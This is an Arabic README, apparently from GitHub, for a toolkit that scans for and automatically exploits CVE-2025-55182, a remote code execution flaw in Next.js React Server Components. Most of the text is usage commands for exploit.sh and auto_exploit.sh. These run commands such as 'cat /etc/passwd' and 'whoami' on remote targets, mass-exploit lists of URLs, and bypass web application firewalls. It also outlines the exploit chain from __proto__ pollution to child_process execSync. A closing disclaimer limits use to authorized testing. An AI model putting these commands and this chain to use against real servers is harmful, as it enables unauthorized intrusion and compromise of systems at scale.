
أداة كشف واستغلال آلية لـ CVE-2025-55182، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة في مكونات خادم React.js الخاصة بـ Next.js. تتميز بمسح متعدد الطبقات للبصمات، وتجاوز جدران الحماية (WAF) وقدرات فحص جماعي لاختبار الاختراق.
أداة بحث أمنية شاملة لاختبار ثغرة تنفيذ التعليمات البرمجية عن بُعد في مكونات خادم React من Next.js (CVE-2025-55182).
توفر هذه المجموعة الأدوات إمكانيات الكشف الآلي والاستغلال لثغرة CVE-2025-55182، وهي ثغرة حرجة من نوع RCE تؤثر على تطبيقات Next.js التي تستخدم مكونات خادم React. تتكون المجموعة من ثلاثة مكونات متكاملة:
requestspip3 install requests
git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh
أسرع طريقة لمسح الأهداف واستغلالها:
# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt
# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"
تحديد تطبيقات Next.js بدون استغلال:
python3 NextApp.py targets.txt
ملفات الإخراج:
confirmed_nextjs_targets.txt - جميع تطبيقات Next.js التي تم اكتشافهاhigh_confidence_nextjs_targets.txt - الاكتشافات عالية الثقة فقطاختبار أهداف فردية:
# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"
# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w
# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256
# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt
# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"
# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"
# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"
# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"
python3 NextApp.py <targets_file>
الوسائط:
targets_file - ملف نصي يحتوي على عناوين URL للأهداف (واحد في كل سطر)./exploit.sh [OPTIONS]
الخيارات:
| الخيار | الوصف | الافتراضي |
|---|---|---|
-d, --domain | النطاق/URL الهدف | http://localhost:3000 |
-f, --file | ملف بقائمة الأهداف | - |
-c, --command | الأمر المراد تنفيذه | id |
-w, --waf-bypass | تفعيل تجاوز جدار الحماية | معطل |
--waf-size SIZE | حجم بيانات تجاوز جدار الحماية (كيلوبايت) | 128 |
--timeout SECONDS | مهلة الطلب | 15 |
-k, --insecure | تخطي التحقق من SSL | معطل |
--user-agent AGENT | وكيل مستخدم مخصص | Mozilla/5.0... |
-h, --help | عرض رسالة المساعدة | - |
./auto_exploit.sh [OPTIONS]
الخيارات:
| الخيار | الوصف | الافتراضي |
|---|---|---|
-i, --input FILE | ملف الأهداف المدخلة | confirmed_nextjs_targets.txt |
-o, --output FILE | ملف النتائج المخرجة | exploit_results.txt |
-c, --command CMD | الأمر المراد تنفيذه | id |
-w, --waf-bypass | تفعيل تجاوز جدار الحماية | معطل |
--waf-size SIZE | حجم تجاوز جدار الحماية (كيلوبايت) | 128 |
--timeout SECONDS | مهلة الطلب | 15 |
-k, --insecure | تخطي التحقق من SSL | معطل |
--delay SECONDS | التأخير بين الطلبات | 2 |
-s, --scan | مسح تلقائي لـ Next.js أولاً | معطل |
-h, --help | عرض رسالة المساعدة | - |
يتم إنشاؤه بواسطة NextApp.py - يحتوي على جميع عناوين URL التي تم تحديدها كتطبيقات Next.js.
يتم إنشاؤه بواسطة NextApp.py - يحتوي فقط على اكتشافات Next.js عالية الثقة (درجة ثقة 100+).
يتم إنشاؤه بواسطة auto_exploit.sh - تقرير استغلال شامل يتضمن:
يستخدم الماسح تقنيات كشف متعددة مع نظام تسجيل الثقة:
x-nextjs-*, x-vercel-*x-powered-by: Next.js__NEXT_DATA__ (100 نقطة)_next/* (25-75 نقطة بناءً على الكمية)__NEXT_DATA__, __NEXT_LOADED_PAGES__middlewareManifest, self.__RSC_MANIFESTحدود الثقة:
يستغل الاستغلال سلسلة تلوث النموذج الأولي في مكونات خادم React من Next.js:
__proto__ عبر إلغاء تسلسل JSON_response._prefixprocess.mainModule.require('child_process').execSync()X-Action-Redirectتتضمن المجموعة إمكانيات مدمجة لتجاوز جدار الحماية:
قم بالتفعيل باستخدام علامات -w أو --waf-bypass.
# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF
# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Check results
cat exploit_results.txt
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Step 1: Detect and filter
python3 NextApp.py targets.txt
# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"
هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به والبحث فقط. يجب على المستخدمين:
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء استخدام هذه الأداة.
شكرًا للباحثين الأمنيين الذين اكتشفوا وكشفوا عن هذه الثغرة:
المساهمات مرحب بها! من فضلك:
للاستفسارات أو الأسئلة أو طلبات الميزات، يرجى فتح مشكلة على GitHub.
هذا المشروع مقدم للأغراض التعليمية واختبار الأمن المصرح به. استخدم بمسؤولية وأخلاقية.